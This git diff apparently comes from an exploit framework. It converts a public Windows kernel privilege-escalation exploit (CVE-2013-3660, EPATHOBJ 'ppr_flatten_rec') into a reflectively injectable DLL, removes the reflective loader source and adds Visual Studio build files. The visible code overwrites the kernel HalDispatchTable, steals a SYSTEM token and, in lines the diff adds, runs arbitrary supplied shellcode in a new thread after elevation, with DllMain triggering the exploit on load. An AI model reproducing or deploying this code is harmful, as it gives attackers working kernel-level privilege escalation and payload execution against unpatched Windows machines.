||||
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof( IMAGE_RELOC );
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -1,202 +0,0 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror( DWORD d )
|
||||
{
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
<?xml version="1.0" standalone="yes"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<SolutionPath>.\ppr_flatten_rec.sln</SolutionPath>
|
||||
</PropertyGroup>
|
||||
|
||||
<Target Name="all" DependsOnTargets="x86" />
|
||||
|
||||
<Target Name="x86">
|
||||
<Message Text="Building CVE-2013-3660 ppr_flatten_rc x86 Release version" />
|
||||
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||
</Target>
|
||||
|
||||
<Target Name="x64">
|
||||
<Message Text="ppr_flatten_rec is not supported in x64" />
|
||||
</Target>
|
||||
</Project>
|
||||
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ppr_flatten_rec", "ppr_flatten_rec\ppr_flatten_rec.vcxproj", "{942BF20A-E438-48B0-A614-A6E0CC2E94BD}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+20
-31
@@ -418,19 +418,10 @@
|
||||
# define WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
#include <stddef.h>
|
||||
#include <windows.h>
|
||||
#include <assert.h>
|
||||
#ifdef WIN32_NO_STATUS
|
||||
# undef WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <ntstatus.h>
|
||||
|
||||
#pragma comment(lib, "gdi32")
|
||||
#pragma comment(lib, "kernel32")
|
||||
#pragma comment(lib, "user32")
|
||||
#pragma comment(lib, "shell32")
|
||||
#pragma comment(linker, "/SECTION:.text,ERW")
|
||||
|
||||
#ifndef PAGE_SIZE
|
||||
@@ -448,11 +439,6 @@ static ULONG ComplexPathNumRegion = 0;
|
||||
static HANDLE Mutex;
|
||||
static DWORD ComplexPathFinished = 0;
|
||||
|
||||
// Log levels.
|
||||
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
|
||||
|
||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
|
||||
|
||||
// Copied from winddi.h from the DDK
|
||||
#define PD_BEGINSUBPATH 0x00000001
|
||||
#define PD_ENDSUBPATH 0x00000002
|
||||
@@ -509,21 +495,24 @@ ULONG HalQuerySystemInformation;
|
||||
PULONG TargetPid;
|
||||
PVOID *PsInitialSystemProcess;
|
||||
|
||||
VOID elevator_complex_path();
|
||||
//#define DEBUGTRACE 1
|
||||
|
||||
//#define DEBUGTRACE 1
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
#else
|
||||
#define dprintf(...) do{}while(0);
|
||||
#endif
|
||||
|
||||
static void real_dprintf(char *format, ...) {
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
va_start(args,format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
// Log levels.
|
||||
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
VOID LogMessage(LEVEL Level, PCHAR Format, ...);
|
||||
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
static void real_dprintf(char *format, ...) {
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
va_start(args,format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
#else
|
||||
#define dprintf(...)
|
||||
#define LogMessage(...)
|
||||
#endif
|
||||
+62
-36
@@ -1,15 +1,15 @@
|
||||
//===============================================================================================//
|
||||
// This is a stub for the actuall functionality of the DLL.
|
||||
// This is a stub for the actual functionality of the DLL.
|
||||
//===============================================================================================//
|
||||
|
||||
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
||||
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
||||
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
||||
//===============================================================================================//
|
||||
|
||||
#include "ReflectiveLoader.h"
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
#include "ComplexPath.h"
|
||||
|
||||
// Purloined from ntstatus.h
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
|
||||
|
||||
//
|
||||
// --------------------------------------------------
|
||||
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
|
||||
@@ -550,7 +550,20 @@ VOID __declspec(naked) HalDispatchRedirect(VOID)
|
||||
}
|
||||
}
|
||||
|
||||
VOID elevator_complex_path()
|
||||
/*!
|
||||
* @brief Helper thread function which runs the given payload directly.
|
||||
* @param lpPayload The payload shellcode to execute.
|
||||
* @returns \c ERROR_SUCCESS
|
||||
*/
|
||||
DWORD WINAPI execute_payload(LPVOID lpPayload)
|
||||
{
|
||||
LogMessage(L_INFO, "[PPRFLATTENREC] Payload thread started.");
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
VOID elevator_complex_path(LPVOID lpPayload)
|
||||
{
|
||||
HANDLE Thread;
|
||||
HDC Device;
|
||||
@@ -566,6 +579,12 @@ VOID elevator_complex_path()
|
||||
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
|
||||
"\r------------------- taviso@cmpxchg8b.com, programmeboy@gmail.com ---\n"
|
||||
"\n");
|
||||
|
||||
if (lpPayload == NULL) {
|
||||
LogMessage(L_ERROR, "[PRFLATTENREC] payload argument not specified");
|
||||
return;
|
||||
}
|
||||
|
||||
NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
|
||||
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
|
||||
Mutex = CreateMutex(NULL, FALSE, NULL);
|
||||
@@ -590,10 +609,10 @@ VOID elevator_complex_path()
|
||||
|
||||
// Lookup some system routines we require.
|
||||
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
|
||||
HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
HalDispatchTable = (PULONG)((ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
|
||||
PsInitialSystemProcess = (PVOID*)((ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
|
||||
PsReferencePrimaryToken = (FARPROC)((ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
|
||||
PsLookupProcessByProcessId = (FARPROC)((ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase);
|
||||
|
||||
// Search for a ret instruction to install in the damaged HalDispatchTable.
|
||||
HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
|
||||
@@ -629,7 +648,7 @@ VOID elevator_complex_path()
|
||||
|
||||
// I need to map at least two pages to guarantee the whole structure is
|
||||
// available.
|
||||
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
|
||||
while (!VirtualAlloc((LPVOID)(*DispatchRedirect & ~(PAGE_SIZE - 1)),
|
||||
PAGE_SIZE * 2,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE)) {
|
||||
@@ -740,7 +759,7 @@ VOID elevator_complex_path()
|
||||
|
||||
if (ComplexPathFinished) {
|
||||
LogMessage(L_INFO, "Success...", ComplexPathFinished);
|
||||
//ExitProcess(0);
|
||||
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -756,7 +775,8 @@ VOID elevator_complex_path()
|
||||
}
|
||||
|
||||
// A quick logging routine for debug messages.
|
||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
|
||||
#ifdef DEBUGTRACE
|
||||
VOID LogMessage(LEVEL Level, PCHAR Format, ...)
|
||||
{
|
||||
CHAR Buffer[1024] = {0};
|
||||
va_list Args;
|
||||
@@ -774,28 +794,34 @@ BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
|
||||
|
||||
//fflush(stdout);
|
||||
//flush(stderr);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
extern HINSTANCE hAppInstance;
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
#else
|
||||
#define LogMessage(...)
|
||||
#endif
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
hAppInstance = hinstDLL;
|
||||
elevator_complex_path();
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
BOOL bReturnValue = TRUE;
|
||||
dprintf("[PPRFLATTENREC] DllMain invoked, reason: %u", dwReason);
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
dprintf("[PPRFLATTENREC] Module queried %x", hinstDLL);
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
dprintf("[PPRFLATTENREC] Launching exploit with %p", lpReserved);
|
||||
elevator_complex_path(lpReserved);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
+141
@@ -0,0 +1,141 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{942BF20A-E438-48B0-A614-A6E0CC2E94BD}</ProjectGuid>
|
||||
<RootNamespace>ppr_flatten_rec</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules />
|
||||
<CodeAnalysisRuleAssemblies />
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;PPR_FLATTEN_REC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
